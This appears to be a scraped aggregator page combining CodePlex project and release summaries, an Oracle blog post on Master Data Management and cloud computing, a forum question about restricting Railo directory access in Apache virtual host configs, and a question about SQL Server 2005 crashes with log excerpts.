Downloader: A Silverlight application that will manage downloading the sessions and slide decks from the MIX '10 Conference utilizing the MIX OData feed for in...NSIS Autorun: This is a graphical CD/DVD/USB autorun engine that launches installers made with NSIS. Non-rectangular windows and animation are supported. Can be ...Pillbox: Windows Phone 7 sample application for tracking medications.PowerSharp: Very simple application that executes a snippet of PowerShell against C#. This will eventually be used with Live@EDU.Project Halosis: mmorpgProyecto Cero: Proyecto CeroSharePoint XSL Templates: This project is a place to share useful XSL templates that can be reused in SharePoint CQWPs and DVWPs.Silverlight 4.0 Popup Menu: Silverlight 4.0 Popup Menu spsearch: This project provides useful enhancements to Search using the SharePoint platform.StereoVision: StereVision es un proyecto que estudia un algoritmo de visión estereocopicaThe Stoffenmanager: The Stoffenmanager is a tool for prioritizing worker health risks to dangerous substances. But also a quantitative inhalation exposure tool and a ...Transcriber: Transcribe text from one character set to another. Extensible, plug-in based architecture. Default plug-in uses XML rules files with regular expres...Wavelets experiments: эксперименты с вейвлетамиWindows Phone 7 World of Warcraft Armory Browser: A test project to learn a little about Windows Phone development and do a decent armory browserXAML Based Chat: Xaml based chat. A simple chat systemNew Releases#Nose: SharpNose v1.1: Configuration is now done by updating SharpNose.exe.config MEF support added - you can also add your favorite test framework discovery Two tes...Baml Localizer: Version 0.1 (alpha): This is the first release which should show the capabilities of Baml Localizer. The code might still change a lot, but the file formats should be q...BibWord : Microsoft Word Citation and Bibliography styles: APA with DOI - Proof of Concept: IntroductionThis release is a proof of concept (POC) demonstrating a possible way of adding a digital object identifier (DOI) field to the APA styl...Chargify.NET: Chargify.NET v0.685: Releasing Version 0.685 - Changed customer reference ID from Guid to String for systems that don't use Guid as the unique key. - Added method for g...Compactar Arquivo Txt, Flat File, em Pipeline Decoder Customizado: SampleZipDecodePipeline: Solution contem Projeto com o Decoder Pipeline. Projeto para usar o Componente. Classes SharpZipLib para compactar e descompactar arquivosConsole Calculator: Console Calculator: Initial source code release.CSharp Intellisense: V1.6: UPDATE: 2010/04/05: description was added 2010/04/07: single selection + reset filter 20010/04/15: source code available at http://csharpintellis...Drive Backup: Drive Backup: Drive Backup allows you to automatically backup a USB device to your computer, or backup files/directories on your computer to a USB. Once you have...Event Scavenger: Thread recycling changes - Version 3.1: Change the location of where the settings for thread recycling is stored - Moved from config file to database for easier management. Version of dat...Extend SmallBasic: Teaching Extensions v.013: Added Houses QuizExtend SmallBasic: Teaching Extensions v.014: fixed a bug in Tortoise.approve rearranged the Houses Quiz to be more funFix.ly: Fix.ly 0.1: Initial test releaseFix.ly: Fix.ly 0.11: Fixed a couple bugs, including missing files in the previous releaseGArphics: Beta: This is the beta-version of the program. Version 1.0 shall be relased soon and will include a lot of improvements.HouseFly: HouseFly alpha 0.2.0.5: HouseFly alpha release 0.2.0.5HouseFly controls: HouseFly controls alpha 0.9.4: Version 0.9.4 alpha release of HouseFly controlsHTML Ruby: 6.21.8: Change Math.floor to round for text spacingHTML Shot: 0.1: Solved problems with some URLsJDS Toolkit: JDS Toolkit 0.1: Beta 0.1 version. Almost nothing in these librariesManaged Extensibility Framework: WebForms and MEF Sample: This sample demonstrates the use of these two technologies together in a non-invasive way. Information on how to use it on your own projects is inc...Microsoft - Domain Oriented N-Layered .NET 4.0 App Sample (Microsoft Spain): V0.7 - N-Layer DDD Sample App (VS.2010 RTM compat): Required Software (Microsoft Base Software needed for Development environment) Visual Studio 2010 RTM & .NET 4.0 RTM (Final Versions) Unity Applic...MvcContrib Portable Areas: Portable Areas: First Release of some portable areasNSIS Autorun: NSIS Autorun: Initial release.OgmoXNA: OgmoXNA Alpha Source Tree: Zipped version of the source tree in case you don't want to go through the SVN!Particle Plot Pivot: Particle Plot Pivot v1.0.0: Generates a Pivot collection of unpublished plots from the particle physics exeriments DZERO, CDF, ATLAS, and CMS. It can be found at http://deepta...patterns & practices SharePoint Guidance: SPG2010 Drop9: SharePoint Guidance Drop Notes Microsoft patterns and practices ****************************************** ***************************************...Rich Ajax empowered Web/Cloud Applications: 6.3.15: New Visual WebGui rich applications platform versionSilverlight 4.0 Popup Menu: PopupMenu for Silverlight 4: This is the first release of the popup menu class for Silverlight 4.0Silverlight Flow Layouts library: SL and WPF Flow Layouts library April 2010: This release introduces WPF 4.0 RTM and Silverlight 4 RTM support, as well as an additional layout algorithm and some minor bug fixes. Some changes...Spackle.NET: 3.0.0.0 Release: In this release: Spackle.dll now targets the 4.0 version of the .NET Framework SecureRandom implements IDisposable ActionExtensions have been ...Splinger FrameXi: Splinger 1.1: Welcome to a whole new way of learning! Go to release 1.0 for the non .zip packaged files.SQL Server Metadata Toolkit 2008: SQL Server Metadata Toolkit Alpha 6: This release addresses issues 10665, 10678 and 10679. The SQL Parser now understands CAST functions (the AS was causing issues), and is installed ...Star Trooper for XNA 2D Tutorial: Lesson four content: Here is Lesson four original content for the StarTrooper 2D XNA tutorial. It also includes the XNA version of Lesson four source. The blog tutori...Thales Simulator Library: Version 0.8.6: The Thales Simulator Library is an implementation of a software emulation of the Thales (formerly Zaxus & Racal) Hardware Security Module cryptogra...Transcriber: Transcriber v0.1: Initial alpha release. Very nearly useful. :-) This version includes rules files for Mode of Beleriand, Sindarin Tehtar, Quenya, and Black Speech. ...Visual Studio DSite: Picture Box Viewer (Visual F sharp 2008): A simple picturebox viewer made in visual f sharp 2008.Web/Cloud Applications Development Framework | Visual WebGui: 6.4 Beta 2d: Further stabilization of the cutting-edge web applications frameworkWebAssert: WebAssert 0.1: Initial release. Supports HTML & CSS validation using MSTest/Visual Studio testing.XAML Based Chat: Test release: A test releaseすとれおじさん(仮): すとれおじさん β 0.02: ・デザインを大幅に変更 ・まだかなり動作が重いです ・機能も少ないですMost Popular ProjectsRawrWBFS ManagerSilverlight ToolkitAJAX Control ToolkitMicrosoft SQL Server Product Samples: Databasepatterns & practices – Enterprise LibraryWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesPHPExcelMost Active Projectspatterns & practices – Enterprise LibraryRawrParticle Plot PivotBlogEngine.NETNB_Store - Free DotNetNuke Ecommerce Catalog ModuleGMap.NET - Great Maps for Windows Forms & PresentationFarseer Physics EngineDotNetZip LibraryFluent Ribbon Control SuiteN2 CMS

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• Master Data Management and Cloud Computing

  - by david.butler(at)oracle.com

  Cloud Computing is all the rage these days. There are many reasons why this is so. But like its predecessor, Service Oriented Architecture, it can fall on hard times if the underlying data is left unmanaged. Master Data Management is the perfect Cloud companion. It can materially increase the chances for successful Cloud initiatives. In this blog, I'll review the nature of the Cloud and show how MDM fits in.   Here's the National Institute of Standards and Technology Cloud definition: •          Cloud computing is a model for enabling convenient, on-demand network access to a shared pool of configurable computing resources that can be rapidly provisioned and released with minimal management effort or service provider interaction.   Cloud architectures have three main layers: applications or Software as a Service (SaaS), Platforms as a Service (PaaS), and Infrastructure as a Service (IaaS). SaaS generally refers to applications that are delivered to end-users over the Internet. Oracle CRM On Demand is an example of a SaaS application. Today there are hundreds of SaaS providers covering a wide variety of applications including Salesforce.com, Workday, and Netsuite. Oracle MDM applications are located in this layer of Oracle's On Demand enterprise Cloud platform. We call it Master Data as a Service (MDaaS). PaaS generally refers to an application deployment platform delivered as a service. They are often built on a grid computing architecture and include database and middleware. Oracle Fusion Middleware is in this category and includes the SOA and Data Integration products used to connect SaaS applications including MDM. Finally, IaaS generally refers to computing hardware (servers, storage and network) delivered as a service.  This typically includes the associated software as well: operating systems, virtualization, clustering, etc.    Cloud Computing benefits are compelling for a large number of organizations. These include significant cost savings, increased flexibility, and fast deployments. Cost advantages include paying for just what you use. This is especially critical for organizations with variable or seasonal usage. Companies don't have to invest to support peak computing periods. Costs are also more predictable and controllable. Increased agility includes access to the latest technology and experts without making significant up front investments.   While Cloud Computing is certainly very alluring with a clear value proposition, it is not without its challenges. An IDC survey of 244 IT executives/CIOs and their line-of-business (LOB) colleagues identified a number of issues:   Security - 74% identified security as an issue involving data privacy and resource access control. Integration - 61% found that it is hard to integrate Cloud Apps with in-house applications. Operational Costs - 50% are worried that On Demand will actually cost more given the impact of poor data quality on the rest of the enterprise. Compliance - 49% felt that compliance with required regulatory, legal and general industry requirements (such as PCI, HIPAA and Sarbanes-Oxley) would be a major issue. When control is lost, the ability of a provider to directly manage how and where data is deployed, used and destroyed is negatively impacted.  There are others, but I singled out these four top issues because Master Data Management, properly incorporated into a Cloud Computing infrastructure, can significantly ameliorate all of these problems. Cloud Computing can literally rain raw data across the enterprise.   According to fellow blogger, Mike Ferguson, "the fracturing of data caused by the adoption of cloud computing raises the importance of MDM in keeping disparate data synchronized."   David Linthicum, CTO Blue Mountain Labs blogs that "the lack of MDM will become more of an issue as cloud computing rises. We're moving from complex federated on-premise systems, to complex federated on-premise and cloud-delivered systems."    Left unmanaged, non-standard, inconsistent, ungoverned data with questionable quality can pollute analytical systems, increase operational costs, and reduce the ROI in Cloud and On-Premise applications. As cloud computing becomes more relevant, and more data, applications, services, and processes are moved out to cloud computing platforms, the need for MDM becomes ever more important. Oracle's MDM suite is designed to deal with all four of the above Cloud issues listed in the IDC survey.   Security - MDM manages all master data attribute privacy and resource access control issues. Integration - MDM pre-integrates Cloud Apps with each other and with On Premise applications at the data level. Operational Costs - MDM significantly reduces operational costs by increasing data quality, thereby improving enterprise business processes efficiency. Compliance - MDM, with its built in Data Governance capabilities, insures that the data is governed according to organizational standards. This facilitates rapid and accurate reporting for compliance purposes. Oracle MDM creates governed high quality master data. A unified cleansed and standardized data view is produced. The Oracle Customer Hub creates a single view of the customer. The Oracle Product Hub creates high quality product data designed to support all go-to-market processes. Oracle Supplier Hub dramatically reduces the chances of 'supplier exceptions'. Oracle Site Hub masters locations. And Oracle Hyperion Data Relationship Management masters financial reference data and manages enterprise hierarchies across operational areas from ERP to EPM and CRM to SCM. Oracle Fusion Middleware connects Cloud and On Premise applications to MDM Hubs and brings high quality master data to your enterprise business processes.   An independent analyst once said "Poor data quality is like dirt on the windshield. You may be able to drive for a long time with slowly degrading vision, but at some point, you either have to stop and clear the windshield or risk everything."  Cloud Computing has the potential to significantly degrade data quality across the enterprise over time. Deploying a Master Data Management solution prior to or in conjunction with a move to the Cloud can insure that the data flowing into the enterprise from the Cloud is clean and governed. This will in turn insure that expected returns on the investment in Cloud Computing will be realized.       Oracle MDM has proven its metal in this area and has the customers to back that up. In fact, I will be hosting a webcast on Tuesday, April 10th at 10 am PT with one of our top Cloud customers, the Church Pension Group. They have moved all mainline applications to a hosted model and use Oracle MDM to insure the master data is managed and cleansed before it is propagated to other cloud and internal systems. I invite you join Martin Hossfeld, VP, IT Operations, and Danette Patterson, Enterprise Data Manager as they review business drivers for MDM and hosted applications, how they did it, the benefits achieved, and lessons learned. You can register for this free webcast here.  Hope to see you there.

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• How to properly deny Railo directory access through Apache

  - by Sn3akyP3t3

  I've been battle tested on this and failed to achieve my goal which is to deny all access to all directories except the Public directory and only allow access to all all other directories with specific IP addresses. To get Railo+Apache+Tomcat installed I pretty much followed this script: https://github.com/talltroym/Railo-Ubuntu-Installer-Script then verified settings with this tutorial: http://blog.nictunney.com/2012/03/railo-tomcat-and-apache-on-amazon-ec2.html From the installation script these mods are enabled: sudo a2enmod ssl sudo a2enmod proxy sudo a2enmod proxy_http sudo a2enmod rewrite sudo a2ensite default-ssl Outside of the script I copied the sites-available to sites-enabled then reloaded Apache. I have a directory created for Railo cmfl located at /var/www/Railo/ Navigating the browser to http ://Server_IP_Address/Railo forces ssl and relocates to https ://Server_IP_Address/Railo which shows off index.cfm. Not providing index.cfm and omitting https indicates that the DirectoryIndex directive and RewriteCond of Apache appears to be working for the sites-enabled VirtualHost. The problem I'm encountering is that I cannot seem to deny access to all directories except Public. My directory structure is rather simple and looks like this: Railo error Public NotPublic Sandbox These are my sites-enabled configurations: <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www #Default Deny All to prevent walking backwards in file system Alias /Railo/ "/var/www/Railo/" <Directory ~ ".*/Railo/(?!Public).*"> Order Deny,Allow Deny from All </Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. LogLevel warn CustomLog ${APACHE_LOG_DIR}/access.log combined Alias /doc/ "/usr/share/doc/" <Directory "/usr/share/doc/"> Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 </Directory> DirectoryIndex index.cfm index.cfml default.cfm default.cfml index.htm index.html index.cfc RewriteEngine on RewriteCond %{SERVER_PORT} !^443$ RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [L,R] </VirtualHost> and <IfModule mod_ssl.c> <VirtualHost _default_:443> ServerAdmin webmaster@localhost DocumentRoot /var/www Alias /Railo/ "/var/www/Railo/" <Directory ~ "/var/www/Railo/(?!Public).*"> Order Deny,Allow Deny from All </Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. LogLevel warn CustomLog ${APACHE_LOG_DIR}/ssl_access.log combined Alias /doc/ "/usr/share/doc/" <Directory "/usr/share/doc/"> Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 </Directory> # SSL Engine Switch: # Enable/Disable SSL for this virtual host. SSLEngine on # A self-signed (snakeoil) certificate can be created by installing # the ssl-cert package. See # /usr/share/doc/apache2.2-common/README.Debian.gz for more info. # If both key and certificate are stored in the same file, only the # SSLCertificateFile directive is needed. SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key # Server Certificate Chain: # Point SSLCertificateChainFile at a file containing the # concatenation of PEM encoded CA certificates which form the # certificate chain for the server certificate. Alternatively # the referenced file can be the same as SSLCertificateFile # when the CA certificates are directly appended to the server # certificate for convinience. #SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt # Certificate Authority (CA): # Set the CA certificate verification path where to find CA # certificates for client authentication or alternatively one # huge file containing all of them (file must be PEM encoded) # Note: Inside SSLCACertificatePath you need hash symlinks # to point to the certificate files. Use the provided # Makefile to update the hash symlinks after changes. #SSLCACertificatePath /etc/ssl/certs/ #SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt # Certificate Revocation Lists (CRL): # Set the CA revocation path where to find CA CRLs for client # authentication or alternatively one huge file containing all # of them (file must be PEM encoded) # Note: Inside SSLCARevocationPath you need hash symlinks # to point to the certificate files. Use the provided # Makefile to update the hash symlinks after changes. #SSLCARevocationPath /etc/apache2/ssl.crl/ #SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl # Client Authentication (Type): # Client certificate verification type and depth. Types are # none, optional, require and optional_no_ca. Depth is a # number which specifies how deeply to verify the certificate # issuer chain before deciding the certificate is not valid. #SSLVerifyClient require #SSLVerifyDepth 10 # Access Control: # With SSLRequire you can do per-directory access control based # on arbitrary complex boolean expressions containing server # variable checks and other lookup directives. The syntax is a # mixture between C and Perl. See the mod_ssl documentation # for more details. #<Location /> #SSLRequire ( %{SSL_CIPHER} !~ m/^(EXP|NULL)/ \ # and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \ # and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \ # and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \ # and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \ # or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/ #</Location> # SSL Engine Options: # Set various options for the SSL engine. # o FakeBasicAuth: # Translate the client X.509 into a Basic Authorisation. This means that # the standard Auth/DBMAuth methods can be used for access control. The # user name is the `one line' version of the client's X.509 certificate. # Note that no password is obtained from the user. Every entry in the user # file needs this password: `xxj31ZMTZzkVA'. # o ExportCertData: # This exports two additional environment variables: SSL_CLIENT_CERT and # SSL_SERVER_CERT. These contain the PEM-encoded certificates of the # server (always existing) and the client (only existing when client # authentication is used). This can be used to import the certificates # into CGI scripts. # o StdEnvVars: # This exports the standard SSL/TLS related `SSL_*' environment variables. # Per default this exportation is switched off for performance reasons, # because the extraction step is an expensive operation and is usually # useless for serving static content. So one usually enables the # exportation for CGI and SSI requests only. # o StrictRequire: # This denies access when "SSLRequireSSL" or "SSLRequire" applied even # under a "Satisfy any" situation, i.e. when it applies access is denied # and no other module can change it. # o OptRenegotiate: # This enables optimized SSL connection renegotiation handling when SSL # directives are used in per-directory context. #SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire <FilesMatch "\.(cgi|shtml|phtml|php)$"> SSLOptions +StdEnvVars </FilesMatch> <Directory /usr/lib/cgi-bin> SSLOptions +StdEnvVars </Directory> # SSL Protocol Adjustments: # The safe and default but still SSL/TLS standard compliant shutdown # approach is that mod_ssl sends the close notify alert but doesn't wait for # the close notify alert from client. When you need a different shutdown # approach you can use one of the following variables: # o ssl-unclean-shutdown: # This forces an unclean shutdown when the connection is closed, i.e. no # SSL close notify alert is send or allowed to received. This violates # the SSL/TLS standard but is needed for some brain-dead browsers. Use # this when you receive I/O errors because of the standard approach where # mod_ssl sends the close notify alert. # o ssl-accurate-shutdown: # This forces an accurate shutdown when the connection is closed, i.e. a # SSL close notify alert is send and mod_ssl waits for the close notify # alert of the client. This is 100% SSL/TLS standard compliant, but in # practice often causes hanging connections with brain-dead browsers. Use # this only for browsers where you know that their SSL implementation # works correctly. # Notice: Most problems of broken clients are also related to the HTTP # keep-alive facility, so you usually additionally want to disable # keep-alive for those clients, too. Use variable "nokeepalive" for this. # Similarly, one has to force some clients to use HTTP/1.0 to workaround # their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and # "force-response-1.0" for this. BrowserMatch "MSIE [2-6]" \ nokeepalive ssl-unclean-shutdown \ downgrade-1.0 force-response-1.0 # MSIE 7 and newer should be able to use keepalive BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown DirectoryIndex index.cfm index.cfml default.cfm default.cfml index.htm index.html #Proxy .cfm and cfc requests to Railo ProxyPassMatch ^/(.+.cf[cm])(/.*)?$ http://127.0.0.1:8888/$1 ProxyPassReverse / http://127.0.0.1:8888/ #Deny access to admin except for local clients <Location /railo-context/admin/> Order deny,allow Deny from all # Allow from <Omitted> # Allow from <Omitted> Allow from 127.0.0.1 </Location> </VirtualHost> </IfModule> The apache2.conf includes the following: # Include the virtual host configurations: Include sites-enabled/ <IfModule !mod_jk.c> LoadModule jk_module /usr/lib/apache2/modules/mod_jk.so </IfModule> <IfModule mod_jk.c> JkMount /*.cfm ajp13 JkMount /*.cfc ajp13 JkMount /*.do ajp13 JkMount /*.jsp ajp13 JkMount /*.cfchart ajp13 JkMount /*.cfm/* ajp13 JkMount /*.cfml/* ajp13 # Flex Gateway Mappings # JkMount /flex2gateway/* ajp13 # JkMount /flashservices/gateway/* ajp13 # JkMount /messagebroker/* ajp13 JkMountCopy all JkLogFile /var/log/apache2/mod_jk.log </IfModule> I believe I understand most of this except the jk_module inclusion which I've noticed has an error that shows up in the logs that I can't sort out: [warn] No JkShmFile defined in httpd.conf. Using default /etc/apache2/logs/jk-runtime-status I've checked my Regular expression against the paths of the directories with RegexBuddy just to be sure that I wasn't correct. The problem doesn't appear to be Regex related although I may have something incorrect in the Directory directive. The Location directive seems to be working correctly for blocking out Railo admin site access.

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• Why might login failures cause SQL 2005 to dump and ditch?

  - by Byron Sommardahl

  Our SQL 2005 server began timing out and finally stopped responding on Oct 26th. The application logs showed a ton of 17883 events leading up to a reboot. After the reboot everything was fine but we were still scratching our heads. Fast forward 6 days... it happened again. Then again 2 days later. The last night. Today it has happened three times to far. The timeline is fairly predictable when it happens: Trans log backups. Login failure for "user2". Minidump Another minidump for the scheduler Repeated 17883 events. Server fails little by little until it won't accept any requests. Reboot is all that gets us going again (a band-aid) Interesting, though, is that the server box itself doesn't seem to have any problems. CPU usage is normal. Network connectivity is fine. We can remote in and look at logs. Management studio does eventually bog down, though. Today, for the first time, we tried stopping services instead of a reboot. All services stopped on their own except for the SQL Server service. We finally did an "end task" on that one and were able to bring everything back up. It worked fine for about 30 minutes until we started seeing timeouts and 17883's again. This time, probably because we didn't reboot all the way, we saw a bunch of 844 events mixed in with the 17883's. Our entire tech team here is scratching heads... some ideas we're kicking around: MS Cumulative Update hit around the same time as when we first had a problem. Since then, we've rolled it back. Maybe it didn't rollback all the way. The situation looks and feels like an unhandled "stack overflow" (no relation) in that it starts small and compounds over time. Problem with this is that there isn't significant CPU usage. At any rate, we're not ruling SQL 2005 bug out at all. Maybe we added one too many import processes and have reached our limit on this box. (hard to believe). Looking at SQLDUMP0151.log at the time of one of the crashes. There are some "login failures" and then there are two stack dumps. 1st a normal stack dump, 2nd for a scheduler dump. Here's a snippet: (sorry for the lack of line breaks) 2009-11-10 11:59:14.95 spid63 Using 'xpsqlbot.dll' version '2005.90.3042' to execute extended stored procedure 'xp_qv'. This is an informational message only; no user action is required. 2009-11-10 11:59:15.09 spid63 Using 'xplog70.dll' version '2005.90.3042' to execute extended stored procedure 'xp_msver'. This is an informational message only; no user action is required. 2009-11-10 12:02:33.24 Logon Error: 18456, Severity: 14, State: 16. 2009-11-10 12:02:33.24 Logon Login failed for user 'standard_user2'. [CLIENT: 50.36.172.101] 2009-11-10 12:08:21.12 Logon Error: 18456, Severity: 14, State: 16. 2009-11-10 12:08:21.12 Logon Login failed for user 'standard_user2'. [CLIENT: 50.36.172.101] 2009-11-10 12:13:49.38 Logon Error: 18456, Severity: 14, State: 16. 2009-11-10 12:13:49.38 Logon Login failed for user 'standard_user2'. [CLIENT: 50.36.172.101] 2009-11-10 12:15:16.88 Logon Error: 18456, Severity: 14, State: 16. 2009-11-10 12:15:16.88 Logon Login failed for user 'standard_user2'. [CLIENT: 50.36.172.101] 2009-11-10 12:18:24.41 Logon Error: 18456, Severity: 14, State: 16. 2009-11-10 12:18:24.41 Logon Login failed for user 'standard_user2'. [CLIENT: 50.36.172.101] 2009-11-10 12:18:38.88 spid111 Using 'dbghelp.dll' version '4.0.5' 2009-11-10 12:18:39.02 spid111 *Stack Dump being sent to C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\SQLDump0149.txt 2009-11-10 12:18:39.02 spid111 SqlDumpExceptionHandler: Process 111 generated fatal exception c0000005 EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this process. 2009-11-10 12:18:39.02 spid111 * ***************************************************************************** 2009-11-10 12:18:39.02 spid111 * 2009-11-10 12:18:39.02 spid111 * BEGIN STACK DUMP: 2009-11-10 12:18:39.02 spid111 * 11/10/09 12:18:39 spid 111 2009-11-10 12:18:39.02 spid111 * 2009-11-10 12:18:39.02 spid111 * 2009-11-10 12:18:39.02 spid111 * Exception Address = 0159D56F Module(sqlservr+0059D56F) 2009-11-10 12:18:39.02 spid111 * Exception Code = c0000005 EXCEPTION_ACCESS_VIOLATION 2009-11-10 12:18:39.02 spid111 * Access Violation occurred writing address 00000000 2009-11-10 12:18:39.02 spid111 * Input Buffer 138 bytes - 2009-11-10 12:18:39.02 spid111 * " N R S C _ P T A 22 00 4e 00 52 00 53 00 43 00 5f 00 50 00 54 00 41 00 2009-11-10 12:18:39.02 spid111 * C _ Q A . d b o . 43 00 5f 00 51 00 41 00 2e 00 64 00 62 00 6f 00 2e 00 2009-11-10 12:18:39.02 spid111 * U s p S e l N e x 55 00 73 00 70 00 53 00 65 00 6c 00 4e 00 65 00 78 00 2009-11-10 12:18:39.02 spid111 * t A c c o u n t 74 00 41 00 63 00 63 00 6f 00 75 00 6e 00 74 00 00 00 2009-11-10 12:18:39.02 spid111 * @ i n t F o r m I 0a 40 00 69 00 6e 00 74 00 46 00 6f 00 72 00 6d 00 49 2009-11-10 12:18:39.02 spid111 * D & 8 @ t x 00 44 00 00 26 04 04 38 00 00 00 09 40 00 74 00 78 00 2009-11-10 12:18:39.02 spid111 * t A l i a s § 74 00 41 00 6c 00 69 00 61 00 73 00 00 a7 0f 00 09 04 2009-11-10 12:18:39.02 spid111 * Ð GQE9732 d0 00 00 07 00 47 51 45 39 37 33 32 2009-11-10 12:18:39.02 spid111 * 2009-11-10 12:18:39.02 spid111 * 2009-11-10 12:18:39.02 spid111 * MODULE BASE END SIZE 2009-11-10 12:18:39.02 spid111 * sqlservr 01000000 02C09FFF 01c0a000 2009-11-10 12:18:39.02 spid111 * ntdll 7C800000 7C8C1FFF 000c2000 2009-11-10 12:18:39.02 spid111 * kernel32 77E40000 77F41FFF 00102000

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• CodePlex Daily Summary for Wednesday, June 16, 2010

  CodePlex Daily Summary for Wednesday, June 16, 2010New ProjectsAtomFeedBuilder: Simple and lightweight Atom feed builder. Developed in VB.Net.Cable and Wire harness tester: If you build lots of cable/wire harness' you know that testing them is a pain. I have wanted an automated cable tester for a while now but commerci...Carmenta Engine Power Pack: The target of Carmenta Engine Power Pack is to provide extensions, utilities and wrapper classes that allows developers to work more efficiently w...Customer Book: Customer Book, its like address book with facility for generating quotation for a business or a supplier to the clients.Dialector: Using this program, you can convert pure Turkish texts into different dialects; such as: Emmi, Kufurbaz, Kusdili, Laz, Peltek, Tiki, and many more....Downline Commision Generator: Analyze the compensations plan of the organizations in multi-level marketing or network marketing. Check with this tool the commision plan of the c...EmbeddedSpark 2010 Project M: Project M is a system for seamlessly interfacing a tabletop interface to portable devices placed upon it. Using image recognition and projectors, P...Event Log Creator by eVestment Alliance: Provides a simple utility to create a new source and log in the Windows event log. The utility checks if the current user is an administrator, and...ExchangeHog: Desktop/daemon application that aggregates emails from multiple pop3-accounts into single Microsoft Exchange 2010 account. For users receiving ema...Extra Time Calculator: Extra Time Calculator allows exam end times to be easily calculated for students receiving an extra time accommodation.Generic WCF Hosting Service: The Generic Host Service provides a simple, reusable, and reliable mechanism for hosting WCF services. Google Storage for .NET: Google Storage for .NET (GSN) is an open source library that provides .NET developers with easy access to the Google Storage API. The library allo...Helium: The Helium XNA game engine is a light portable game engine designed to work on many platforms and soon to be expanded on more. Currently the helium...IconizedButton Control Set: ASP.NET WebForms IconizedButton Custom Control Set. Replaces the dull Button/LinkButton/HyperLink controls with styling and left and right aligned...Jedi Council PM List: Allows for users to process Private Message Lists on the Jedi Council forums for TheForce.Net.JetPumpDesign: 本软件为蒸气喷射泵设计计算软件 作者：申阳 单位：西安交通大学过程装备与控制工程61班log4Nez: An high personalized implementation of a logging libraryMutantFramework: Provides a common set of building blocks for building enterprise applicationsNUnit Add-in for Growl Notifications: NUnit add-in which allows to send notifications to Growl when test run is started or finished, when a first test failure occurs and so on.Object Reports: Object Reports is a "proof of concept" application which provides users the ability to visualy build queries based on data stored in the relational...openTrionyx: openTrionyx is a set of tools to make easier web application development. Includes Data, Web and plain text documents tools. Developed in C#, compl...Partial Rendering control for MVC 2: This project shows a web custom control that allow to have partial rendering using async post-back (through JQuery) in a MVC 2 web application.PowerGUI Visual Studio Extension: The PowerGUI Visual Studio Extension exposes PowerGUI as an editor in Visual Studio. PowerShell developers can now write scripts directly in Visual...PowerShell Script Provider: Write your own PowerShell provider using only script, no C# required. Module definition is provided by a Windows PowerShell 2.0 Module, which may b...Scholar: Scholar is a solution/framework for .Net developers to help with the creation of distributed data processing (think SETI@home style apps). It is in...scrabb: Scrabb help people play scrabble over net.SharePointNuke: A DotNetNuke module that connects to a SharePoint server using web services API and displays the content of a specified list. SolidWorksBackConverter: a Project to Convert a solidwork file to an older version Soma - Sql Oriented MApping framework: Sql Oriented MApping framework.SPCreate: SPCreate auto store procedure creator. It's developed in c#. SpCreate as output ADO.NET Class (C# or VB.Net) and SQL Server or MS Access Store pro...std::streambuf wrapper for COM IStream: This provides a subclass of std::streambuf that wraps a COM IStream, so you can use an IStream with any C++ code that uses iostreams or the STL alg...VACID solutions: Solutions of verification problems posed in paper "Verification of Ample Correctness of Invariants of Data-structures". Developed with various tool...Viewer: Our Goal is to create a C# project that will centeralize Image and Movie Viewing in a forms application, It will also have a Specialized Webbrowser...vsXPathTester: vsXPathTester is a utility for Developer. This help them load XML file and the run their XPath Query. The Resultant is shown in window. It save the...New Releases.Net Max Framework: Version 1.0.0: Version 1.0.0 - EstableAndrew's XNA Helpers: V1.2: Features upgraded features based off of the V1.1 code for both X86 and XBOX Additions/Changes Reworked the Texture2D and Rectangle extender namesp...BaseCalendar: BaseControls 1.2: BaseControls 1.2 contains the BaseCalendar ASP.NET control. Changes: 1.2 Exposed EffectiveVisibleDate and FirstVisibleDay methods 1.1 Rendering ...Customer Book: Customer Book Code: Bronze Release PostgreSQL database dump for Customer Book. Open PgAdmin III and restore the database dump into your server. Notice User Name for t...Data Connection Suite: Data Connections Suite v1.0.0.0: This is the first release of this incomplete component, but good enought to use in a production environment (it's what we do).DigitArchive: Build 8: Now the software works on .NET 3.5 and above. So if you have Windows 7 it installs without any pre-requisites. Changes: -Works on .NET 3.5 -Now t...Doom 64 Ex (SVN Builds): Doom 64 Ex r-738: Finally a new build after so many months. There are way to many updates to even begin to write about here just download and frag away. There is a s...DotNetNuke® Media: 03.03.00a: This release is Beta!! There is no guaranteed upgrade path to the 03.03.00 release version! Please use this to help us and test what we have. Repor...Downline Commision Generator: Downline Commision Generator: Downline Commision GeneratorElmah2 : An extensable error logger for ASP.net: 1.0 Beta 1: This is a beta release be sure to report any errors etc. Be sure to check out the documentation tab on information on how to install and configure...EPiServer Template 